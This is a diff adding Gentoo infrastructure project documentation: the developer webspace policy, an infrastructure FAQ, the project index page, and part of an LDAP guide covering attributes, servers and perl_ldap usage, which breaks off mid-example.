+  <ti>22:fd:a1:94:a0:f8:82:ee:3f:25:19:95:13:5e:ce:b8</ti>
+ </tr>
+
+ <tr>
+  <ti>bender.sparc</ti>
+  <ti>bc:9a:a7:51:4f:76:c7:c8:1b:ed:37:6a:38:23:e9:3f</ti>
+ </tr>
+</table>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/dev-webspace.xml b/xml/htdocs/proj/en/infrastructure/dev-webspace.xml
new file mode 100644
index 00000000..5da8e8fd
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/dev-webspace.xml
@@ -0,0 +1,142 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/dev-webspace.xml,v 1.13 2010/04/28 19:21:23 nightmorph Exp $ -->
+
+<guide>
+<title>Web Space Configuration for dev.gentoo.org</title>
+
+<author title="Author">
+  <mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+<author title="Author">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+This guide documents how a Gentoo developer can configure their personal
+webspace on our dev cluster.
+</abstract>
+
+<version>1.6</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Developer Web Space</title>
+<section>
+<title>Use and Policy</title>
+<body>
+
+<p>
+Within your devspace on woodpecker (dev.gentoo.org) you may create a
+<path>public_html</path> directory accessible at:
+<path>http://dev.gentoo.org/~username</path>. You may store any Gentoo related
+files in this space such as project documentation, ebuilds/packages you are
+testing, etc... Please note that you should not store distfiles for public
+distribution in this space only for distribution to other developers/testers.
+Packages for public distribution should be put on the distfiles mirror.
+</p>
+
+<p>
+Your dev space is for Gentoo related files. You may not host files for your
+company/home business, pornography or any file that is considered illegal in
+the United States (woodpecker is located in the USA). Pages in your public_html
+folder are viewable by the world and their contents should follow the same
+rules. You may not use your dev space to make money in any way. This includes
+banner swapping, auctions (or hosting images for your auctions) or google ads.
+As usual, common sense should apply.
+</p>
+
+<p>
+If any files in your space are found to be harmful towards other developers or
+users on the box or pose a risk to the Gentoo project (such as illegal
+torrents, pornography, etc...), Gentoo Infrastructure will suspend your account
+which will only be unlocked after investigation from Gentoo Developer Relations.
+In most cases, your developership will be suspended if such files are found. If
+you are unsure of the impact a file may have on another developer or Gentoo in
+general please ask your Mentor/Manager to review it for you.
+</p>
+
+</body>
+</section>
+<section>
+<title>Uploading Files</title>
+<body>
+
+<p>
+If your recruiter didn't set up the <path>public_html</path> directory for you
+go ahead and do it yourself like this:
+</p>
+
+<pre caption="Create public_html">
+username@homebox ~$ <i>ssh $USERNAME@dev.gentoo.org</i>
+Enter passphrase for key '/home/username/.ssh/id_rsa':<comment>(Enter your passphrase)</comment>
+
+username@woodpecker home$ <i>cd ~/$USERNAME</i>
+username@woodpecker ~$ <i>mkdir public_html</i>
+username@woodpecker ~$ <i>chmod -R 755 public_html</i>
+username@woodpecker ~$ <i>echo "Options Indexes" > public_html/.htaccess</i><comment>(to enable dir indexing if desired)</comment>
+</pre>
+
+<p>
+The Infrastructure Project does not make backups of developer files. You are
+responsible for making backups of any and all files contained in your developer
+space. I suggest creating a mirror on your local box: <path>~/devspace</path>.
+</p>
+
+<p>
+Now copy your files using <c>scp</c> or <c>rsync</c>.
+</p>
+
+<pre caption="Secure Copy with scp">
+username@homebox devspace$ <i>scp index.htm $USERNAME@dev.gentoo.org:~/public_html</i>
+Enter passphrase for key '/home/$USERNAME/.ssh/id_rsa': <comment>(Enter yoru passphrase)</comment>
+</pre>
+
+<pre caption="Secure Copy with rsync">
+$ <i>rsync -ruav -e ssh ~/devspace $USER@dev.gentoo.org:~/</i>
+Enter passphrase for key '/home/$USERNAME/.ssh/id_rsa': <comment>(Enter your passphrase)</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Supported Languages</title>
+<body>
+
+<p>
+dev.gentoo.org has HTML, SHTML, XML and PHP available for you to write your web
+pages.
+</p>
+
+<p>
+XML uses the same XSL and <uri link="/proj/en/gdp/doc/gorg.xml">gorg</uri> from
+www.gentoo.org. This allows you to write your documentation in the official <uri
+link="/doc/en/xml-guide.xml">guideXML specification</uri> for inclusion on the
+www.gentoo.org website. All documents on the official website are in this
+format.
+</p>
+
+<note>
+To remove <c>gorg</c> as the <path>.xml</path> handler add the following to your
+<path>.htaccess</path> file in your <path>public_html</path> directory:
+<c>RemoveHandler .xml</c>
+</note>
+
+</body>
+</section>
+<section>
+<title>Resources</title>
+<body>
+
+<ul>
+  <li><uri>http://www.openssh.com</uri></li>
+  <li><uri>http://samba.anu.edu.au/rsync/</uri></li>
+  <li><uri>http://www.gentoo.org/proj/en/gdp/doc/gorg.xml</uri></li>
+  <li><uri>http://www.gentoo.org/doc/en/xml-guide.xml</uri></li>
+  <li><uri>http://httpd.apache.org/docs/2.0/howto/htaccess.html</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/faq.xml b/xml/htdocs/proj/en/infrastructure/faq.xml
new file mode 100644
index 00000000..341dd975
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/faq.xml
@@ -0,0 +1,39 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="faq.xml">
+<title>Gentoo Infrastructure Frequently Asked Questions</title>
+<author title="Author">
+   <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<abstract>
+This page lists the most commonly-asked questions and their answers regarding Gentoo's infrastructure.
+</abstract>
+
+<version>0.9</version>
+<date>21 August 2003</date>
+<chapter>
+<title>FAQs</title>
+<section>
+<body>
+<p>
+<b>Q:</b>  Can I compile and/or install &lt;some program&gt; on dev.gentoo.org?  It would make my life much easier.
+</p>
+<p>
+<b>A:</b>  Generally, no.  The primary purpose of dev.gentoo.org is to provide email functionality and facilitate file transfers between developers.  It is <b>not</b> intended to be a general shell access type server. Where there is a program that a <b>significant</b> number of Gentoo developers may benefit from by having it installed, we will certainly look at adding it.  <c>procmail</c> is a perfect example of just such a program.  If you feel there is a program that should be added, please contact klieber. 
+</p>
+<p>
+Specifically, we do not install, support or provide IRC bouncers.
+</p>
+<p>
+<b>Q:</b> I have a problem with &lt;some service&gt;.  Who do I contact? 
+</p>
+<p>
+<b>A:</b> Please see the <uri link="/proj/en/infrastructure/#doc_chap3">list</uri> of active developers as well as their areas of responsibility for pointers on who to contact.   
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/index.xml b/xml/htdocs/proj/en/infrastructure/index.xml
new file mode 100644
index 00000000..74789431
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/index.xml
@@ -0,0 +1,113 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>infrastructure</name>
+<longname>Gentoo Infrastructure</longname>
+<date>2010/05/15</date>
+
+<description>
+The infrastructure project describes the infrastructure that Gentoo uses, how 
+the infrastructure is administrated, who is in charge of what infrastructure and
+more infrastructure-related items.
+</description>
+
+<longdescription>
+
+<p>
+The Gentoo Infrastructure project is comprised of several smaller projects that,
+as a whole, provide the resources, services and technology necessary to support
+the Gentoo Linux project.  The project is responsible for the security, 
+availability and integrity of the data stored on the Gentoo Linux servers.
+</p>
+
+<p>
+The Gentoo Infrastructure team is made up of a group of people with a variety 
+of backgrounds, from traditional system and network administration, to deep 
+security expertise.  These members work together to ensure all necessary 
+resources are available to keep the Gentoo Linux project running and available.
+</p>
+
+</longdescription>
+
+<dev role="lead" description="Strategic Manager -- full time">ramereth</dev>
+<dev role="lead" description="Operations Manager -- full time">robbat2</dev>
+<dev role="lead" description="Operations Manager -- full time">kingtaco</dev>
+<dev role="full time" description="Security &amp; Hardening">solar</dev>
+<dev role="full time" description="Monitoring, Mirrors &amp; General Systems Administration">fox2mike</dev>
+<dev role="full time" description="Bugzilla, General System Administration">idl0r</dev>
+<dev role="full time" description="Mirrors, Web applications">darkside</dev>
+<dev role="part time" description="Mirrors">ford_prefect</dev>
+<dev role="part time" description="Mirrors">halcy0n</dev>
+<dev role="part time" description="Release Engineering Liaison">armin76</dev>
+<dev role="part time" description="WWW Node Administration">neysx</dev>
+
+<resource link="dev-email.xml">Developer: Instructions for setting up and accessing your @gentoo.org e-mail account</resource>
+<resource link="cvs-sshkeys.xml">Developer: Instructions for placing your SSH key on cvs.gentoo.org to gain CVS access</resource>
+<resource link="ldap.xml">Developer: Instructions for using LDAP on dev.gentoo.org to search for and modify attributes</resource>
+<resource link="dev-machines.xml">Developer: Machines of different architectures available for the sole purpose of Gentoo development</resource>
+<resource link="dev-webspace.xml">Developer: Instructions and policy for setting up dev.gentoo.org/~YourUserName</resource>
+<resource link="server-specs.xml">Servers: Specifications, including disk space, RAM and CPU for our various infrastructure servers</resource>
+<!-- <resource link="server-standards.xml">Servers: Requirements and guidelines for setting up new Gentoo Infrastructure servers</resource> -->
+<!--<resource link="/images/gentoo-infra.jpg">Servers: A graphical representation of the Gentoo developer infrastructure</resource>-->
+<resource link="tenshi/">Servers: Tenshi, a custom log monitoring tool developed for Gentoo infrastructure servers</resource>
+<resource link="torrent.xml">Infrastructure: Maintainers Guide - torrents.gentoo.org</resource>
+<resource link="retire-process.xml">Infrastructure: Process for retiring developers</resource>
+<resource link="spf.xml">Infrastructure: How and Why Gentoo Uses Sender Policy Framework</resource>
+<resource link="spf-howto.xml">Infrastructure: Working with Sender Policy Framework</resource>
+<resource link="reply-to.xml">Infrastructure: How to filter on Reply-To</resource>
+<resource link="mirror-wrangling.xml">Infrastructure: Instructions for wrangling our mirror system.</resource>
+<resource link="mirrors-rsync.xml">Infrastructure: Instructions for administering the OLD rsync mirror system.</resource>
+<resource link="config-ssh.xml">Infrastructure: SSH Configuration Guide for Gentoo Infrastructure Servers.</resource>
+<resource link="nuthatch-writeup/">Misc: Analysis of the Nuthatch exploitation attempts</resource>
+
+<extraproject name="Gentoo Mirrors" >
+Charged with ensuring the stability and availability of our mirroring system, 
+including Portage and Source mirrors. For more information see the 
+<uri link="http://www.gentoo.org/proj/en/infrastructure/mirrors/">mirrors page</uri>.
+</extraproject>
+<extraproject name="Gentoo Web" >
+Responsible for updating and maintaining the web site.
+</extraproject>
+<extraproject name="Gentoo Mail" >
+In charge of mail-related issues, including mailing lists.
+</extraproject>
+<extraproject name="Gentoo CVS" >
+In charge of cvs-related issues.
+</extraproject>
+<extraproject name="Infrastructure Security" >
+This group spans all other groups and is responsible for ensuring the overall 
+security of all servers and other devices used by the Gentoo Linux project. 
+This project provides more architectural and consulting services, relying on 
+the Gentoo Sysadmins project for the actual implementation.
+</extraproject>
+<extraproject name="Gentoo Sysadmins" >
+Another project that spans all other groups, this team ensures all servers are 
+properly maintained. Included in this are the application of new security 
+patches, scheduling of downtime for package upgrades and other system 
+administration duties. Some members of this team have specialized skills, such 
+as database administration or CVS administration. This project works closely 
+with the Infrastructure Security project.
+</extraproject>
+<extraproject name="Tenshi">
+Responsible for maintaining Tenshi, a custom log monitoring tool developed for Gentoo infrastructure 
+servers.
+</extraproject>
+
+
+<extrachapter>
+<title>I Want to Participate</title>
+<section>
+<body>
+
+<p>
+To participate in the Gentoo Infrastructure project, please contact one of the project leads.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/infrastructure/ldap.xml b/xml/htdocs/proj/en/infrastructure/ldap.xml
new file mode 100644
index 00000000..52949bcc
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/ldap.xml
@@ -0,0 +1,665 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/ldap.xml,v 1.34 2010/05/17 01:22:15 robbat2 Exp $ -->
+
+<guide link="/proj/en/infrastructure/ldap.xml">
+<title>Gentoo Infrastructure LDAP guide</title>
+
+<author title="Author">
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+<author title="Author">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Editor">
+  <mail link="lmedinas@gmail.com">Luis Medinas</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+Guide to using the Gentoo Infrastructure LDAP system for developers, recruiters
+and administrators.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.26</version>
+<date>2010-05-02</date>
+
+<chapter>
+<title>Key Concepts</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+LDAP stands for Lightweight Directory Access Protocol, a lightweight client-server
+protocol for accessing directory services. LDAP directory service is based on a
+client-server model. One or more servers contain the data making up the LDAP
+directory tree. An LDAP client connects to an LDAP server and requests information.
+The server responds with the data or points the client to another source.
+(typically another LDAP server).
+</p>
+
+<p>
+Just like a database, an entry in LDAP consists of fields of data or 'Attributes'.
+This collection of attributes is called a 'Schema'. This guide will explain
+which attributes are available, who can change them and give role based examples
+for modifying the Gentoo LDAP Schema.
+</p>
+
+<p>
+When a developer accesses a resource, like dev.gentoo.org
+(woodpecker.gentoo.org), the resource acts as an LDAP client and queries the
+LDAP server (ldap1, ldap2, ldap3, ldap4) to see if that user is in the database and
+authorized for access.
+</p>
+
+</body>
+</section>
+<section>
+<title>LDAP Access Levels</title>
+<body>
+
+<p>
+LDAP is used by Gentoo to secure the infrastructure. Gentoo resources are spread
+across the globe and LDAP gives us a central location to manage them. There are
+four levels of access: anonymous, user, recruiter and infra that are used to
+control what can be changed in the LDAP database.  These are controlled via
+special values in the gentooAccess attribute.</p>
+
+<p>
+You must connect or <e>bind</e> to the LDAP database either anonymously, or a
+known user. Binding anonymously will always grant only the anonymous level,
+while binding as a known user will grant you the level based on your user and
+potentially where you are connecting from.
+</p>
+
+<p>
+The <e>anonymous</e> level is used for simple <e>read only</e> informational
+queries.  All developers and staff can bind to LDAP as anonymous. If you don't
+specify a mode when you bind, anonymous is assumed.
+</p>
+
+<p>
+The <e>user</e> level is used to add or change information in your own LDAP
+record. Things like your latitude and longitude, ssh public key and so on.  All
+users can access the <e>user</e> level, by binding as themselves with the mode
+specified, and providing their password.
+</p>
+
+<p>
+The <e>recruiter</e> level enables recruiters to add new users, and perform
+some administrative changes to users.
+</p>
+
+<p>
+The <e>infra</e> level enables the infrastructure team full power over LDAP,
+and is additionally protected by only being available from ldap1.gentoo.org.
+</p>
+
+<note>
+All write operations performed by infra must be performed on ldap1.gentoo.org.
+Normal user and recruiter write operations may be performed on any
+LDAP-connected Gentoo box, however it is strongly recommended that you use
+dev.gentoo.org.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo LDAP Implementation</title>
+<section>
+<title>LDAP Servers</title>
+<body>
+
+<p>
+Currently we have four LDAP servers available. The <e>master</e> server and three
+<e>slave</e> servers. The <e>master</e> LDAP server is reachable at
+<e>ldap1.gentoo.org</e>. The <e>slave</e> servers are <e>ldap2.gentoo.org</e>,
+<e>ldap3.gentoo.org</e>, <e>ldap4.gentoo.org</e> and they connect every 60
+seconds to the <e>master</e> to replicate changes from the master.
+</p>
+
+<p>
+Every update operation must be done on <e>ldap1.gentoo.org</e>, if an update
+(which means writing some entry) is performed on the <e>slave</e> a referral to
+the <e>master</e> is issued. This is transparently handled and all attempts to
+update against the slave will be redirected to the <e>master</e>. Connections
+are validated via TLS + password. The password is your dev one and is the same
+for all LDAP-aware boxes.
+</p>
+
+<p>
+We use a custom script, <c>perl_ldap</c> that uses <e>Net::LDAP</e>, for accessing
+and modifying the database, it allows only a predefined set of actions but it
+should cover 95% of the cases. In the following chapters we explain how to use it.
+</p>
+
+<note>
+<e>dev.gentoo.org</e> is currently using <e>ldap2.gentoo.org</e> as its first
+server so any update you do could take up to 60 seconds for being seen on
+<e>dev.gentoo.org</e>.  We use <c>nscd</c> (Name Service Caching Daemon) to cache
+negative and positive lookups. This means that your changes may not become active
+for some time. If you need to force the change we can restart nscd for you. Ask
+in #gentoo-infra for help with this. Additionally, we use <c>nsscache</c> to
+provide resiliency against LDAP servers being temporarily unavailable for NSS
+lookups, but we do NOT keep local copys of SSH keys.
+</note>
+
+</body>
+</section>
+<section>
+<title>Available Attributes</title>
+<body>
+
+<p>
+The following attributes are included in the Gentoo Schema. Note the 'Access
+Level' needed to write each attribute. Anonymous reading is allowed unless
+otherwise noted. Required fields are emphasised.
+</p>
+
+<!-- Please keep this list in alphabetical order, sorted by the attribute name -->
+<table>
+  <tr>
+    <th>Attribute Name</th>
+    <th>Access Level</th>
+    <th>Description</th>
+    <th>Type</th>
+    <th>Format</th>
+  </tr>
+  <tr>
+    <ti>birthday</ti>
+    <ti>user (not globally readable)</ti>
+    <ti>developer birthday</ti>
+    <ti>single, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>gentooAccess</e></ti>
+    <ti>infra, top level recruiters only</ti>
+    <ti>developer access level</ti>
+    <ti>multiple, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooAlias</ti>
+    <ti>infra, recruiters</ti>
+    <ti>alternate names for this developer</ti>
+    <ti>multiple, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooDevBug</ti>
+    <ti>infra, recruiters (not globally readable)</ti>
+    <ti>bug numbers for any recruitment, retirement or developer relations bugs</ti>
+    <ti>multiple, optional</ti>
+    <ti>integer</ti>
+  </tr>
+  <tr>
+    <ti>gentooGPGFingerprint, gpgfingerprint</ti>
+    <ti>user</ti>
+    <ti>GPG key fingerprint</ti>
+    <ti>multiple, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>gentooGPGkey, gpgkey</e></ti>
+    <ti>user</ti>
+    <ti>GPG key uid</ti>
+    <ti>multiple, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooIM</ti>
+    <ti>user</ti>
+    <ti>instant messaging ID</ti>
+    <ti>multiple, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>gentooJoin</e></ti>
+    <ti>infra, recruiters</ti>
+    <ti>developer join date</ti>
+    <ti>multiple, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooLatitude, lat</ti>
+    <ti>user</ti>
+    <ti>latitude coordinate</ti>
+    <ti>single, optional</ti>
+    <ti>signed decimal string</ti>
+  </tr>
+  <tr>
+    <ti><e>gentooLocation</e></ti>
+    <ti>user</ti>
+    <ti>developer location</ti>
+    <ti>single, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooLongitude, lon</ti>
+    <ti>user</ti>
+    <ti>longitude coordinate</ti>
+    <ti>single, optional</ti>
+    <ti>signed decimal string</ti>
+  </tr>
+  <tr>
+    <ti>gentooMentor</ti>
+    <ti>infra, recruiters</ti>
+    <ti>username of mentors</ti>
+    <ti>multiple, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooRetire</ti>
+    <ti>infra, recruiters</ti>
+    <ti>developer retirement date</ti>
+    <ti>multiple, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>gentooRoles</e></ti>
+    <ti>user</ti>
+    <ti>developer projects</ti>
+    <ti>single, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti>gentooSPF</ti>
+    <ti>user</ti>
+    <ti>developer SPF record</ti>
+    <ti>single, optional</ti>
+    <ti>ASCII</ti>
+  </tr>
+  <tr>
+    <ti><e>gentooStatus</e></ti>
+    <ti>infra, recruiters</ti>
+    <ti>developer status</ti>
+    <ti>single, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>sshPublicKey</e></ti>
+    <ti>user</ti>
+    <ti>OpenSSH public key</ti>
+    <ti>multiple, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+</table>
+
+<note>
+All dates must be formatted as ISO8601, YYYY/MM/DD.
+</note>
+
+<p>
+The following attributes were in use at some point in the past, but have
+been retired: <e>gentooHerd/herd</e>, <e>gentooAltMail/altMail</e>,
+<e>gentooForumsUID/forumsUID</e>.
+</p>
+
+<p>Additionally, we use a number of standard LDAP schemas for user records: <e>inetOrgPerson</e>, <e>organizationalPerson</e>, <e>person</e>, <e>posixAccount</e>, <e>shadowAccount</e>. Some of the attributes in these schemas are listed below.</p>
+
+<table>
+  <tr>
+    <th>Attribute Name</th>
+    <th>Access Level</th>
+    <th>Description</th>
+    <th>Type</th>
+    <th>Format</th>
+  </tr>
+  <tr>
+    <ti><e>mail</e></ti>
+    <ti>user</ti>
+    <ti>alternative email addresses</ti>
+    <ti>multiple, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>cn</e>, <e>sn</e>, <e>givenName</e></ti>
+    <ti>recruiters</ti>
+    <ti>real name of developer</ti>
+    <ti>single, required</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>gecos</e></ti>
+    <ti>recruiters</ti>
+    <ti>real name of developer for script usage</ti>
+    <ti>single, required</ti>
+    <ti>ASCII, 7-bit clean</ti>
+  </tr>
+  <tr>
+    <ti>initials</ti>
+    <ti>recruiters</ti>
+    <ti>real name of developer</ti>
+    <ti>single, optional</ti>
+    <ti>UTF-8</ti>
+  </tr>
+  <tr>
+    <ti><e>loginShell</e></ti>
+    <ti>user</ti>
+    <ti>login shell, change with <e>chsh</e></ti>
+    <ti>single, required</ti>
+    <ti>ASCII</ti>
+  </tr>
+  <tr>
+    <ti><e>userPassword</e></ti>
+    <ti>user</ti>
+    <ti>password, change with <e>passwd</e> ONLY</ti>
+    <ti>single, required</ti>
+    <ti>ASCII, hashed</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>LDAP aware servers</title>
+<body>
+
+<table>
+  <tr>
+    <th>Server Name</th>
+    <th>Alias</th>
+    <th>Status</th>
+  </tr>
+  <tr>
+    <ti>duck.gentoo.org</ti>
+    <ti>ldap1.gentoo.org</ti>
+    <ti>LDAP Master Server, LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+  <tr>
+    <ti>duck.gentoo.org</ti>
+    <ti>ldap2.gentoo.org</ti>
+    <ti>LDAP Slave Server (presently also ldap1)</ti>
+  </tr>
+  <tr>
+    <ti>corvid.gentoo.org</ti>
+    <ti>ldap3.gentoo.org</ti>
+    <ti>LDAP Slave Server</ti>
+  </tr>
+  <tr>
+    <ti>puffin.gentoo.org</ti>
+    <ti>ldap4.gentoo.org</ti>
+    <ti>LDAP Slave Server</ti>
+  </tr>
+  <tr>
+    <ti>woodpecker.gentoo.org</ti>
+    <ti>dev.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh) (gentooAccess=dev.g.o)</ti>
+  </tr>
+  <tr>
+    <ti>corvid.gentoo.org</ti>
+    <ti>cvs.gentoo.org</ti>
+    <ti>LDAP client: accounts, sudo (local LDAP slave as well, gentooAccess=cvs.g.o)</ti>
+  </tr>
+  <!-- regular boxes beyond here -->
+  <tr>
+    <ti>gannet.gentoo.org</ti>
+    <ti>forums-web1.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+  <tr>
+    <ti>godwit.gentoo.org</ti>
+    <ti>forums-web2.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+  <tr>
+    <ti>hornbill.gentoo.org</ti>
+    <ti>bugs-web1.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+  <tr>
+    <ti>hummingbird.gentoo.org</ti>
+    <ti>bugs-web2.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+  <tr>
+    <ti>magpie.gentoo.org</ti>
+    <ti>mirrorstats.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+  <tr>
+    <ti>pigeon.gentoo.org</ti>
+    <ti>lists.gentoo.org</ti>
+    <ti>LDAP client: raw LDAP only</ti>
+  </tr>
+  <tr>
+    <ti>sparrow.gentoo.org</ti>
+    <ti>torrents.gentoo.org</ti>
+    <ti>LDAP client: NSS (accounts, sudo, ssh)</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>LDAP management with perl_ldap</title>
+<body>
+
+<p>
+These are the main concepts of the perl_ldap script used for user
+administration. Invoking <e>perl_ldap</e> without arguments shows a nice help.
+Your own LDAP password is required when binding.
+</p>
+
+<p>
+The script is the infra supported method for managing entries, nothing prevents
+you from using any LDAP browser you like for modifying your attributes. If you
+like to use something else, ask infra for connection details but keep in mind
+that we won't support and/or troubleshoot other browser's issues.
+</p>
+
+<p>
+The following are the most common options.
+</p>
+
+<ul>
+  <li>
+    <c>-b MODE</c> used to bind to the LDAP server. If you don't specify
+    <e>user</e>, the script will default to <e>anonymous</e> and be <e>read
+    only</e>.
+  </li>
+  <li>
+    <c>-s &lt;username&gt;</c> shows the entire LDAP record for the user
+    <c>username</c>
+  </li>
+  <li>
+    <c>-S ATTRIBUTE</c> searches for a specific attribute across all users
+  </li>
+  <li>
+    <c>-M ATTRIBUTE NEWVALUE &lt;username&gt;</c> overwrites the value of an
+    attribute for the specified user
+  </li>
+  <li>
+    <c>-C ATTRIBUTE NEWVALUE &lt;username&gt;</c> creates a new attribute for
+    the specified user
+  </li>
+  <li><c>-E ATTRIBUTE OLDVALUE &lt;username&gt;</c> erases an attribute</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Examples</title>
+<section>
+<title>Users</title>
+<body>
+
+<p>
+Gentoo Developers and Staff members (recruiters and infra please refer to the
+following sections) can update their LDAP record directly. Here are examples
+of the most commonly changed attributes. The most common error is using a
+actual username in place of the <c>-b MODE</c> argument, which takes
+<e>user</e> as the parameter.
+</p>
+
+<pre caption="Show attributes for a user entry">
+<comment>(Substitute an actual user name for &lt;username&gt;)</comment>
+# <i>perl_ldap -s &lt;username&gt;</i>
+
+<comment>(Binding as 'user' mode will show additional information.
+Only replace &lt;username&gt;, not "user")</comment>
+# <i>perl_ldap -b user -s &lt;username&gt;</i>
+</pre>
+
+<pre caption="Change your roles">
+# <i>perl_ldap -b user -M gentooRoles "&lt;role string&gt;" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Change your GPG key">
+<comment>(Substitute your GPG key id &lt;keyid&gt;, with the leading 0x included)</comment>
+# <i>perl_ldap -b user -C gentooGPGkey "&lt;newkeyid&gt;" &lt;username&gt;</i>
+# <i>perl_ldap -b user -E gentooGPGkey "&lt;oldkeyid&gt;" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Add a new public SSH key">
+<comment>(substitute 'pubkey' with the path to your public SSH key. ex: "~/.ssh/id_dsa.pub". 
+You should have one sshPublicKey attribute per key! No newlines!
+Only replace &lt;username&gt;, not "user")</comment>
+# <i>perl_ldap -b user -C sshPublicKey "$(cat pubkey)" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Erase an old public SSH key">
+# <i>perl_ldap -b user -E sshPublicKey "$(cat oldpubkey)" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Change your LDAP password">
+<comment>To change your password, simply use the normal <i>passwd</i> command on any LDAP-enabled server.</comment>
+<comment><b>Do not use perl_ldap to change your password, as it does not perform any password hashing.</b></comment>
+# <i>passwd</i>
+</pre>
+
+<pre caption="Change your login shell">
+<comment>To change your password, simply use the normal <i>chsh</i> command on any LDAP-enabled server.</comment>
+<comment><b>If you want to use a shell other than bash, ask infra about it's availability on other machines</b></comment>
+# <i>chsh</i>
+</pre>
+
+<pre caption="Change your SPF rules">
+# <i>perl_ldap -b user -M gentooSPF "&lt;SPF string&gt;" &lt;username&gt;</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Recruiters</title>
+<body>
+
+<p>
+Recruiters can change their own attributes or those of another user. You <b>must</b>
+bind as <e>recruiters</e> to change any attributes including your own. The
+following examples show how to change attributes for other users. To change
+your own attributes use the examples from the "users" section above but bind as
+a recruiter.
+</p>
+
+<p>
+When dealing with users that belong to a sub-OU the <c>-o OU</c> option
+must be used, this will be clarified in the examples. The command <c>-o OU</c>
+must be used if <e>the target user</e> belongs to a sub-OU.
+</p>
+
+<p>
+The following examples will show you how to change attributes for users, recruiters
+and infra. All write operations performed by infra against another user must be
+performed on dev.gentoo.org (woodpecker.gentoo.org).
+</p>
+
+<p>
+Some attributes, like <e>sshPublickey</e>, and <e>mail</e>, allow multi-values. To append an
+additional value to the exiting ones use <c>-C</c>. You may not use <c>-M</c>
+with multi-valued attributes.
+</p>
+
+<pre caption="Modify (overwrite) an existing attribute for a user">
+# <i>perl_ldap -b user -M gentooGPGkey "0x1AF343EB" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Delete an attribute for a user">
+# <i>perl_ldap -b user -E mail "myoldaddress@example.com" &lt;username&gt;</i>
+</pre>
+
+<pre caption="Add a new user (infra, recruiters)">
+# <i>perl_ldap -b user -A &lt;username&gt;</i>
+</pre>
+
+<pre caption="Delete a user (infra)">
